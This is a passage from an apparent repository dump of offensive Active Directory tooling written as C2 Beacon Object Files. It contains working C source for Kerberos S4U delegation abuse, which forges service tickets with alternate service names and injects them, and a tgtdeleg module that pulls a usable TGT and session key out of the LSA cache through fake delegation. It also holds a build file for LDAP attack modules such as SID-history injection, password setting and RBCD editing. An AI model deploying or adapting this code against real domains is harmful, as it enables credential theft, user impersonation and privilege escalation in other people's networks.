outBytes2Length, &ae2)) return TRUE;\n\n        EncKDCRepPart encRepPart2 = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae2.sub[0]), &encRepPart2)) return TRUE;\n\n        if (altService) {\n            for (int ind = 0; ind < altsvcCount; ind++) {\n                // now build the final KRB-CRED structure with one or more alternate snames\n                KRB_CRED cred = { 0 };\n                cred.pvno = 5;\n                cred.msg_type = 22;\n\n                // since we want an alternate sname, first substitute it into the ticket structure\n                rep2.ticket.sname.name_string[0] = altSnames[ind];\n\n                cred.ticket_count = 1;\n                cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n                if (!cred.tickets) {\n                    PRINT_OUT(\"[x] Failed alloc memory\");\n                    return TRUE;\n                }\n                cred.tickets[0] = rep2.ticket;\n\n                KrbCredInfo info = { 0 };\n\n                info.key = encRepPart2.key;\n                if (my_copybuf(&(info.key.key_value), encRepPart2.key.key_value, encRepPart2.key.key_size)) return TRUE;\n\n                if (my_copybuf(&(info.prealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n                info.pname = rep2.cname;\n                info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n                for (int i = 0; i < info.pname.name_count; i++)\n                    if (my_copybuf(&(info.pname.name_string[i]), rep2.cname.name_string[i], my_strlen(rep2.cname.name_string[i]) + 1)) return TRUE;\n\n                info.flags = encRepPart2.flags;\n                info.starttime = encRepPart2.starttime;\n                info.endtime = encRepPart2.endtime;\n                info.renew_till = encRepPart2.renew_till;\n\n                if (my_copybuf(&(info.srealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n                info.sname = encRepPart2.sname;\n                info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n                for (int i = 0; i < info.sname.name_count; i++)\n                    if (my_copybuf(&(info.sname.name_string[i]), encRepPart2.sname.name_string[i], my_strlen(encRepPart2.sname.name_string[i]) + 1)) return TRUE;\n\n                // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED\n                PRINT_OUT(\"[*] Substituting alternative service name '%s'\\n\", altSnames[ind]);\n                info.sname.name_string[0] = altSnames[ind];\n\n                cred.enc_part.ticket_count = 1;\n                cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n                if (!cred.enc_part.ticket_info) {\n                    PRINT_OUT(\"[x] Failed alloc memory\");\n                    return TRUE;\n                }\n                cred.enc_part.ticket_info[0] = info;\n\n                AsnElt asnCred = { 0 };\n                if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n                byte* kirbiBytes = NULL;\n                int   kirbiBytesSize = 0;\n                if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n                char* kirbiString = base64_encode(kirbiBytes, kirbiBytesSize);\n\n                PRINT_OUT(\"[*] base64(ticket.kirbi) for SPN '%s/%s':\\n\\n\", altSnames[ind], serverName);\n                PRINT_OUT(\"%s\\n\\n\", kirbiString);\n\n                if (ptt)\n                    PTT(NULL, kirbiString);\n            }\n        }\n        else {\n            // now build the final KRB-CRED structure, no alternate snames\n            KRB_CRED cred = { 0 };\n            cred.pvno = 5;\n            cred.msg_type = 22;\n            cred.ticket_count = 1;\n            cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n            if (!cred.tickets) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            cred.tickets[0] = rep2.ticket;\n\n            KrbCredInfo info = { 0 };\n\n            info.key = encRepPart2.key;\n            if (my_copybuf(&(info.key.key_value), encRepPart2.key.key_value, encRepPart2.key.key_size)) return TRUE;\n\n            if (my_copybuf(&(info.prealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n            info.pname = rep2.cname;\n            info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n            for (int i = 0; i < info.pname.name_count; i++)\n                if (my_copybuf(&(info.pname.name_string[i]), rep2.cname.name_string[i], my_strlen(rep2.cname.name_string[i]) + 1)) return TRUE;\n\n            info.flags = encRepPart2.flags;\n            info.starttime = encRepPart2.starttime;\n            info.endtime = encRepPart2.endtime;\n            info.renew_till = encRepPart2.renew_till;\n\n            if (my_copybuf(&(info.srealm), encRepPart2.realm, my_strlen(encRepPart2.realm) + 1)) return TRUE;\n\n            info.sname = encRepPart2.sname;\n            info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n            for (int i = 0; i < info.sname.name_count; i++)\n                if (my_copybuf(&(info.sname.name_string[i]), encRepPart2.sname.name_string[i], my_strlen(encRepPart2.sname.name_string[i]) + 1)) return TRUE;\n\n            cred.enc_part.ticket_count = 1;\n            cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n            if (!cred.enc_part.ticket_info) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            cred.enc_part.ticket_info[0] = info;\n\n            AsnElt asnCred = { 0 };\n            if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n            byte* kirbiBytes = NULL;\n            int   kirbiBytesSize = 0;\n            if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n            char* kirbiString = base64_encode(kirbiBytes, kirbiBytesSize);\n\n            PRINT_OUT(\"[*] base64(ticket.kirbi) for SPN '%s':\\n\\n\", targetSPN);\n            PRINT_OUT(\"%s\\n\\n\", kirbiString);\n\n            if (ptt)\n                PTT(NULL, kirbiString);\n        }\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n\n    return TRUE;\n}\n\nvoid S4UExecute_Ticket(byte* ticket, char* targetUser, char* targetSPN, char* domainController, char* altService, KRB_CRED tgs, BOOL s, BOOL opsec, BOOL ptt, int encType, char* targetDomainController, char* targetDomain, char* impersonateDomain) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket, &bytesSize);\n\n    KRB_CRED kirbi = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, FALSE, &asn_KRB_CRED)) return;\n    if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi)) return;\n\n    // Cross-domain S4U detection\n    if (targetDomain && targetDomainController) {\n        PRINT_OUT(\"[*] Performing cross domain constrained delegation\\n\");\n        PRINT_OUT(\"[*] Target domain: %s\\n\", targetDomain);\n        PRINT_OUT(\"[*] Target DC: %s\\n\", targetDomainController);\n        PRINT_OUT(\"[X] Cross-domain S4U not yet fully implemented. Use standard S4U with referral ticket.\\n\");\n        return;\n    }\n\n    if (tgs.enc_part.ticket_count && targetSPN) {\n        PRINT_OUT(\"[*] Loaded a TGS for %s\\\\%s\\n\", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]);\n        S4U2Proxy(kirbi, targetUser, targetSPN, domainController, altService, tgs, opsec, ptt);\n    }\n    else {\n        KRB_CRED self = {0};\n        BOOL r = S4U2Self(kirbi, targetUser, targetSPN, domainController, altService, s, opsec, ptt, encType, &self);\n        if (r) {\n            PRINT_OUT(\"[X] S4U2Self failed, unable to perform S4U2Proxy.\\n\");\n            return;\n        }\n        if (targetSPN)\n            S4U2Proxy(kirbi, targetUser, targetSPN, domainController, altService, self, opsec, ptt);\n    }\n}\n\nvoid ASK_S4U_RUN( PCHAR Buffer, DWORD Length ) {\n    PRINT_OUT(\"[*] Action: S4U\\n\\n\");\n\n    char* user         = NULL;\n    char* domain       = NULL;\n    char* dc           = NULL;\n    char* hash         = NULL;\n    int   encType      = subkey_keymaterial;\n    int   curEType     = 0;\n    BOOL  ptt          = FALSE;\n    BOOL  opsec        = FALSE;\n    BOOL  pac          = TRUE;\n    BOOL  self         = FALSE;\n    char* targetSPN    = NULL;\n    byte* ticket       = NULL;\n    byte* tgs          = NULL;\n    char* altSname     = NULL;\n    char* targetUser   = NULL;\n    char* targetDomain = NULL;\n    char* targetDC     = NULL;\n    char* impersonateDomain = NULL;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/user:\", 6, &user );\n        i += GetStrParam(Buffer + i, Length - i, \"/domain:\", 8, &domain );\n        i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket );\n        i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc );\n        i += GetStrParam(Buffer + i, Length - i, \"/service:\", 9, &targetSPN );\n        i += GetStrParam(Buffer + i, Length - i, \"/tgs:\", 5, &tgs );\n        i += GetStrParam(Buffer + i, Length - i, \"/altservice:\", 12, &altSname );\n        i += GetStrParam(Buffer + i, Length - i, \"/impersonateuser:\", 17, &targetUser );\n        i += GetStrParam(Buffer + i, Length - i, \"/targetdomain:\", 14, &targetDomain );\n        i += GetStrParam(Buffer + i, Length - i, \"/targetdc:\", 10, &targetDC );\n        i += GetStrParam(Buffer + i, Length - i, \"/impersonatedomain:\", 19, &impersonateDomain );\n        i += IsSetParam(Buffer + i, Length - i, \"/ptt\", 4, &ptt );\n        i += IsSetParam(Buffer + i, Length - i, \"/opsec\", 6, &opsec );\n        i += IsSetParam(Buffer + i, Length - i, \"/nopac\", 6, &pac );\n        i += IsSetParam(Buffer + i, Length - i, \"/self\", 5, &self );\n//        int h1 = GetStrParam(Buffer + i, Length - i, \"/rc4:\", 5, &hash );\n//        if(h1){\n//            encType = rc4_hmac;\n//            curEType = encType;\n//        }\n//        int h2 = GetStrParam(Buffer + i, Length - i, \"/aes256:\", 8, &hash );\n//        if(h2){\n//            encType = aes256_cts_hmac_sha1;\n//            curEType = encType;\n//        }\n    }\n\n    pac = !pac;\n\n    GetDomainInfo(&domain, &dc);\n    if (domain == NULL || dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n    }\n\n    if (targetUser && tgs) {\n        PRINT_OUT(\"\\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\\n\");\n        return;\n    }\n\n    KRB_CRED kirbi_tgs = { 0 };\n    if (tgs) {\n        int bytesTgsSize = 0;\n        byte* bytesTgs = base64_decode(tgs, &bytesTgsSize);\n\n        AsnElt   asn_KRB_CRED = { 0 };\n        if (BytesToAsnDecode3(bytesTgs, bytesTgsSize, FALSE, &asn_KRB_CRED)) return;\n\n        AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi_tgs);\n\n        targetUser = kirbi_tgs.enc_part.ticket_info[0].pname.name_string[0];\n    }\n    if (!targetUser && !tgs) {\n        PRINT_OUT(\"\\n[X] You must supply a /tgs or /impersonateuser to impersonate!\\n\");\n        return;\n    }\n    if (!targetSPN && tgs) {\n        PRINT_OUT(\"\\n[X] If a /tgs is supplied, you must also supply a /service !\\n\");\n        return;\n    }\n\n    if (ticket)\n        S4UExecute_Ticket(ticket, targetUser, targetSPN, (targetDC ? targetDC : dc), altSname, kirbi_tgs, self, opsec, ptt, encType, targetDC, targetDomain, (impersonateDomain ? impersonateDomain : domain));\n//    else if (user && hash)\n//        S4UExecute_User(user, domain, hash, curEType, encType, targetUser, targetSPN, dc, altSname, kirbi_tgs, self, opsec, ptt, pac, NULL, NULL);\n    else\n        PRINT_OUT(\"\\n[X] A /ticket:X needs to be supplied for S4U!\\n\");\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        ASK_S4U_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/tgtdeleg/tgtdeleg.c",
    "content": "#include \"_include/asn_encode.c\"\n#include \"_include/asn_decode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_dec.c\"\n\nBOOL GetLsaHandle( HANDLE* hLsa ) {\n    HANDLE hLsaLocal;\n    bool   status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_memcmp(byte* s1, byte* s2, int len) {\n    int i = 0;\n    while ((s1[i] == s2[i]) && (i < len))\n        i++;\n    if (i == len)\n        return 0;\n    else\n        return (int)((unsigned char)s1[i] - (unsigned char)s2[i]);\n}\n\nbyte* SearchBytePattern(byte* pattern, int pSize, byte* buf, int bSize) {\n    BOOL status = FALSE;\n    byte* result = NULL;\n    byte* limit = buf + bSize;\n    byte* current = buf;\n\n    for (; !status && (current + pSize <= limit); current++)\n        status = !my_memcmp(pattern, current, pSize);\n\n    if (status)\n        result = current - 1;\n\n    return result;\n}\n\nbool GetEncryptionKeyFromCache(char* target, int encType, byte** key, int* keySize) {\n    bool status = true;\n\n    HANDLE hLsa;\n    if (GetLsaHandle(&hLsa)) return true;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (!SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage)) {\n\n        int targetLength = my_strlen(target) * 2 + 2;\n        int requestSize = targetLength + sizeof(KERB_RETRIEVE_TKT_REQUEST);\n        PKERB_RETRIEVE_TKT_REQUEST request = MemAlloc(requestSize * sizeof(KERB_RETRIEVE_TKT_REQUEST));\n\n        request->MessageType = KerbRetrieveEncodedTicketMessage;\n        request->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;\n        request->EncryptionType = encType;\n        request->TargetName.Length = targetLength - 2;\n        request->TargetName.MaximumLength = targetLength;\n        request->TargetName.Buffer = ((byte*)request) + sizeof(KERB_RETRIEVE_TKT_REQUEST);\n        KERNEL32$MultiByteToWideChar(CP_ACP, 0, target, targetLength / 2, request->TargetName.Buffer, targetLength);\n\n        PKERB_RETRIEVE_TKT_RESPONSE response = NULL;\n        NTSTATUS protocolStatus = 0;\n        status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, request, requestSize, &response, &requestSize, &protocolStatus);\n        if (!status && !protocolStatus && requestSize > 0) {\n            *key = MemAlloc(response->Ticket.SessionKey.Length);\n            MemCpy(*key, response->Ticket.SessionKey.Value, response->Ticket.SessionKey.Length);\n            *keySize = response->Ticket.SessionKey.Length;\n            SECUR32$LsaFreeReturnBuffer(&response);\n        }\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n    return status;\n}\n\nvoid TgtDeleg(char* targetSPN) {\n\n    if (targetSPN == NULL) {\n        PDOMAIN_CONTROLLER_INFOA pDomainControllerInfo = NULL;\n        DWORD dwError = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, DS_DIRECTORY_SERVICE_REQUIRED, &pDomainControllerInfo);\n        if (dwError == ERROR_SUCCESS) {\n\n            int l = my_strlen(((char*)pDomainControllerInfo->DomainControllerName) + 2);\n            targetSPN = MemAlloc(6 + l);\n            MemCpy(targetSPN, \"CIFS/\", 5);\n            MemCpy(targetSPN + 5, ((char*)pDomainControllerInfo->DomainControllerName) + 2, l + 1);\n\n            if (pDomainControllerInfo != NULL)\n                NETAPI32$NetApiBufferFree(pDomainControllerInfo);\n        }\n        else {\n            return;\n        }\n    }\n\n    CredHandle phCredential = { 0 };\n    TimeStamp  ptsExpiry = { 0 };\n    SECURITY_STATUS status = SECUR32$AcquireCredentialsHandleA(NULL, \"Kerberos\", SECPKG_CRED_OUTBOUND, NULL, NULL, 0, NULL, &phCredential, &ptsExpiry);\n\n    if (status == 0) {\n        PRINT_OUT(\"[*] Initializing Kerberos GSS-API w/ fake delegation for target '%s'\\n\", targetSPN);\n\n        CtxtHandle    ClientContext = { 0 };\n        SecBuffer     ClientTokenArray = { 0, SECBUFFER_TOKEN, NULL };\n        SecBufferDesc ClientToken = { SECBUFFER_VERSION, 1, &ClientTokenArray };\n        UINT ClientContextAttributes = 0;\n        status = SECUR32$InitializeSecurityContextA(&phCredential, NULL, targetSPN, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL, 0, &ClientContext, &ClientToken, &ClientContextAttributes, NULL);\n\n        if ((status == SEC_E_OK) || (status == SEC_I_CONTINUE_NEEDED)) {\n            PRINT_OUT(\"[+] Kerberos GSS-API initialization success!\\n\");\n\n            if ((ClientContextAttributes & ISC_REQ_DELEGATE) == 1) {\n                PRINT_OUT(\"[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.\\n\");\n\n                byte KeberosV5[] = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02 }; // 1.2.840.113554.1.2.2\n\n                byte* startIndex = SearchBytePattern(KeberosV5, 11, ClientTokenArray.pvBuffer, ClientTokenArray.cbBuffer);\n                if (startIndex != NULL) {\n                    startIndex += 11;\n\n                    if (startIndex[0] == 1 && startIndex[1] == 0) {\n                        PRINT_OUT(\"[*] Found the AP-REQ delegation ticket in the GSS-API output.\\n\");\n\n                        int apReqArrayLength = ClientTokenArray.cbBuffer - (startIndex - (byte*)ClientTokenArray.pvBuffer) - 2;\n\n                        AsnElt asn_AP_REQ = { 0 };\n                        if (BytesToAsnDecode3(startIndex + 2, apReqArrayLength, false, &asn_AP_REQ)) return; // apReqArrayLength -2\n\n                        for (int i = 0; i < asn_AP_REQ.sub[0].subCount; i++) {\n                            AsnElt elt = asn_AP_REQ.sub[0].sub[i];\n\n                            if (elt.tagValue == 4) {\n                                EncryptedData encAuthenticator = { 0 };\n                                if (AsnGetEncryptedData(&(elt.sub[0]), &encAuthenticator)) return;\n                                int authenticatorEtype = encAuthenticator.etype;\n\n                                PRINT_OUT(\"[*] Authenticator etype: (%d)\\n\", authenticatorEtype);\n\n                                byte* key = NULL;\n                                int   keySize = 0;\n                                if (!GetEncryptionKeyFromCache(targetSPN, authenticatorEtype, &key, &keySize) && keySize > 0) {\n\n                                    byte* base64SessionKey = base64_encode(key, keySize);\n                                    PRINT_OUT(\"[*] Extracted the service ticket session key from the ticket cache: %s\\n\", base64SessionKey);\n\n                                    byte* rawBytes = NULL;\n                                    size_t rawBytesSize = 0;\n                                    if (decrypt(key, authenticatorEtype, KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, encAuthenticator.cipher, encAuthenticator.cipher_size, &rawBytes, &rawBytesSize))return;\n\n                                    AsnElt asnAuthenticator = { 0 };\n                                    if (BytesToAsnDecode3(rawBytes, rawBytesSize, false, &asnAuthenticator)) return;\n\n                                    for (int j = 0; j < asnAuthenticator.sub[0].subCount; j++) {\n                                        AsnElt elt2 = asnAuthenticator.sub[0].sub[j];\n\n                                        if (elt2.tagValue == 3) {\n                                            PRINT_OUT(\"[+] Successfully decrypted the authenticator\\n\");\n\n                                            int cksumtype = 0;\n                                            if (AsnGetInteger(&(elt2.sub[0].sub[0].sub[0]), &cksumtype)) return;\n\n                                            if (cksumtype == 0x8003) {\n                                                byte* checksumBytes = NULL;\n                                                int   checksumBytesSize = 0;\n                                                if (AsnGetOctetString(&(elt2.sub[0].sub[1].sub[0]), &checksumBytes, &checksumBytesSize)) return;\n\n                                                if ((checksumBytes[20] & 1) == 1) {\n\n                                                    uint dLen = *((short*)(checksumBytes + 26));\n                                                    AsnElt asn_KRB_CRED = { 0 };\n                                                    if (BytesToAsnDecode3(checksumBytes + 28, dLen, false, &asn_KRB_CRED)) return;\n\n                                                    Ticket ticket = { 0 };\n                                                    KRB_CRED cred = { 0 };\n                                                    cred.pvno = 5;\n                                                    cred.msg_type = 22;\n                                                    cred.ticket_count = 1;\n                                                    cred.tickets = MemAlloc(sizeof(Ticket));\n                                                    cred.enc_part.ticket_count = 1;\n                                                    cred.enc_part.ticket_info = MemAlloc(sizeof(Ticket));\n\n                                                    for (int k = 0; k < asn_KRB_CRED.sub[0].subCount; k++) {\n                                                        AsnElt elt3 = asn_KRB_CRED.sub[0].sub[k];\n\n                                                        if (elt3.tagValue == 2) {\n                                                            if (AsnGetTicket(&(elt3.sub[0].sub[0].sub[0]), &ticket)) return;\n                                                            cred.tickets[0] = ticket;\n                                                        }\n                                                        else if (elt3.tagValue == 3) {\n\n                                                            byte* enc_part = NULL;\n                                                            int enc_part_size = 0;\n                                                            if (AsnGetOctetString(&(elt3.sub[0].sub[1]), &enc_part, &enc_part_size)) return;\n\n                                                            byte* rawBytes2 = NULL;\n                                                            size_t rawBytes2Size = 0;\n                                                            if (decrypt(key, authenticatorEtype, KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, enc_part, enc_part_size, &rawBytes2, &rawBytes2Size))return;\n\n                                                            AsnElt encKrbCredPartAsn = { 0 };\n                                                            if (BytesToAsnDecode3(rawBytes2, rawBytes2Size, false, &encKrbCredPartAsn)) return;\n\n                                                            KrbCredInfo cred_info = { 0 };\n                                                            if (AsnGetKrbCredInfo(&(encKrbCredPartAsn.sub[0].sub[0].sub[0].sub[0]), &cred_info)) return;\n\n                                                            cred.enc_part.ticket_info[0] = cred_info;\n                                                        }\n                                                    }\n\n                                                    AsnElt asnCred = { 0 };\n                                                    if (AsnKrbCredEncode(&cred, &asnCred)) return;\n\n                                                    byte* kirbiBytes = NULL;\n                                                    int   kirbiBytesSize = 0;\n                                                    if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return;\n\n                                                    char* kirbiString = base64_encode(kirbiBytes, kirbiBytesSize);\n                                                    PRINT_OUT(\"[*] base64(ticket.kirbi):\\n\\n%s\\n\\n\", kirbiString);\n                                                }\n                                            }\n                                            else {\n                                                PRINT_OUT(\"[X] Error: Invalid checksum type: %d\\n\", cksumtype);\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n                else {\n                    PRINT_OUT(\"[X] Error: Kerberos OID not found in output buffer!\\n\");\n                }\n            }\n        }\n        else {\n            PRINT_OUT(\"[X] Error: Kerberos GSS-API not initializated...\\n\");\n        }\n        SECUR32$DeleteSecurityContext(&ClientContext);\n    }\n    SECUR32$FreeCredentialsHandle(&phCredential);\n}\n\nvoid TGTDELEG_RUN( PCHAR Buffer, DWORD Length ) {\n    char* target = NULL;\n\n    for (int i = 0; i < Length; i++)\n        i += GetStrParam(Buffer + i, Length - i, \"/target:\", 8, &target );\n\n    TgtDeleg(target);\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        TGTDELEG_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories\ninclude_directories(\n#    ${CMAKE_SOURCE_DIR}/_include\n    ${CMAKE_CURRENT_SOURCE_DIR}/_include\n    ${CMAKE_CURRENT_SOURCE_DIR}/src/common\n)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -masm=intel -fno-stack-protector -mno-stack-arg-probe -DBOF\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# GET operations\nadd_library(ldap_get_users OBJECT src/get/get-users.c)\nadd_library(ldap_get_computers OBJECT src/get/get-computers.c)\nadd_library(ldap_get_groups OBJECT src/get/get-groups.c)\nadd_library(ldap_get_usergroups OBJECT src/get/get-usergroups.c)\nadd_library(ldap_get_groupmembers OBJECT src/get/get-groupmembers.c)\nadd_library(ldap_get_object OBJECT src/get/get-object.c)\nadd_library(ldap_get_domaininfo OBJECT src/get/get-domaininfo.c)\nadd_library(ldap_get_maq OBJECT src/get/get-maq.c)\nadd_library(ldap_get_writable OBJECT src/get/get-writable.c)\nadd_library(ldap_get_delegation OBJECT src/get/get-delegation.c)\nadd_library(ldap_get_uac OBJECT src/get/get-uac.c)\nadd_library(ldap_get_attribute OBJECT src/get/get-attribute.c)\nadd_library(ldap_get_spn OBJECT src/get/get-spn.c)\nadd_library(ldap_get_acl OBJECT src/get/get-acl.c)\nadd_library(ldap_get_rbcd OBJECT src/get/get-rbcd.c)\n\n# ADD operations\nadd_library(ldap_add_user OBJECT src/add/add-user.c)\nadd_library(ldap_add_computer OBJECT src/add/add-computer.c)\nadd_library(ldap_add_group OBJECT src/add/add-group.c)\nadd_library(ldap_add_groupmember OBJECT src/add/add-groupmember.c)\nadd_library(ldap_add_ou OBJECT src/add/add-ou.c)\nadd_library(ldap_add_sidhistory OBJECT src/add/add-sidhistory.c)\nadd_library(ldap_add_spn OBJECT src/add/add-spn.c)\nadd_library(ldap_add_attribute OBJECT src/add/add-attribute.c)\nadd_library(ldap_add_uac OBJECT src/add/add-uac.c)\nadd_library(ldap_add_delegation OBJECT src/add/add-delegation.c)\nadd_library(ldap_add_rbcd OBJECT src/add/add-rbcd.c)\nadd_library(ldap_add_ace OBJECT src/add/add-ace.c)\n\n# SET operations\nadd_library(ldap_set_password OBJECT src/set/set-password.c)\nadd_library(ldap_set_spn OBJECT src/set/set-spn.c)\nadd_library(ldap_set_delegation OBJECT src/set/set-delegation.c)\nadd_library(ldap_set_attribute OBJECT src/set/set-attribute.c)\nadd_library(ldap_set_uac OBJECT src/set/set-uac.c)\nadd_library(ldap_set_owner OBJECT src/set/set-owner.c)\n\n# MOVE operations\nadd_library(ldap_move_object OBJECT src/move/move-object.c)\n\n# REMOVE operations\nadd_library(ldap_remove_groupmember OBJECT src/remove/remove-groupmember.c)\nadd_library(ldap_remove_object OBJECT src/remove/remove-object.c)\nadd_library(ldap_remove_delegation OBJECT src/remove/remove-delegation.c)\nadd_library(ldap_remove_spn OBJECT src/remove/remove-spn.c)\nadd_library(ldap_remove_attribute OBJECT src/remove/remove-attribute.c)\nadd_library(ldap_remove_rbcd OBJECT src/remove/remove-rbcd.c)\nadd_library(ldap_remove_ace OBJECT src/remove/remove-ace.c)\nadd_library(ldap_remove_uac OBJECT src/remove/remove-uac.c)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ../_bin/LDAP)\n\n# Macro for copy targets\nmacro(ldap_copy_target target_name output_name)\n    add_custom_target(copy_${target_name} ALL\n        COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:${target_name}> ../_bin/LDAP/${output_name}.x64.o\n        DEPENDS ${target_name}\n        COMMENT \"Copying ${output_name} object file\"\n    )\nendmacro()\n\n# GET copy targets\nldap_copy_target(ldap_get_users get-users)\nldap_copy_target(ldap_get_computers get-computers)\nldap_copy_target(ldap_get_groups get-groups)\nldap_copy_target(ldap_get_usergroups get-usergroups)\nldap_copy_target(ldap_get_groupmembers get-groupmembers)\nldap_copy_target(ldap_get_object get-object)\nldap_copy_target(ldap_get_domaininfo get-domaininfo)\nldap_copy_target(ldap_get_maq get-maq)\nldap_copy_target(ldap_get_writable get-writable)\nldap_copy_target(ldap_get_delegation get-delegation)\nldap_copy_target(ldap_get_uac get-uac)\nldap_copy_target(ldap_get_attribute get-attribute)\nldap_copy_target(ldap_get_spn get-spn)\nldap_copy_target(ldap_get_acl get-acl)\nldap_copy_target(ldap_get_rbcd get-rbcd)\n\n# ADD copy targets\nldap_copy_target(ldap_add_user add-user)\nldap_copy_target(ldap_add_computer add-computer)\nldap_copy_target(ldap_add_group add-group)\nldap_copy_target(ldap_add_groupmember add-groupmember)\nldap_copy_target(ldap_add_ou add-ou)\nldap_copy_target(ldap_add_sidhistory add-sidhistory)\nldap_copy_target(ldap_add_spn add-spn)\nldap_copy_target(ldap_add_attribute add-attribute)\nldap_copy_target(ldap_add_uac add-uac)\nldap_copy_target(ldap_add_delegation add-delegation)\nldap_copy_target(ldap_add_rbcd add-rbcd)\nldap_copy_target(ldap_add_ace add-ace)\n\n# SET copy targets\nldap_copy_target(ldap_set_password set-password)\nldap_copy_target(ldap_set_spn set-spn)\nldap_copy_target(ldap_set_delegation set-delegation)\nldap_copy_target(ldap_set_attribute set-attribute)\nldap_copy_target(ldap_set_uac set-uac)\nldap_copy_target(ldap_set_owner set-owner)\n\n# MOVE copy targets\nldap_copy_target(ldap_move_object move-object)\n\n# REMOVE copy targets\nldap_copy_target(ldap_remove_groupmember remove-groupmember)\nldap_copy_target(ldap_remove_object remove-object)\nldap_copy_target(ldap_remove_delegation remove-delegation)\nldap_copy_target(ldap_remove_spn remove-spn)\nldap_copy_target(ldap_remove_attribute remove-attribute)\nldap_copy_target(ldap_remove_rbcd remove-rbcd)\nldap_copy_target(ldap_remove_ace remove-ace)\nldap_copy_target(ldap_remove_uac remove-uac)\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/LDAP.axs",
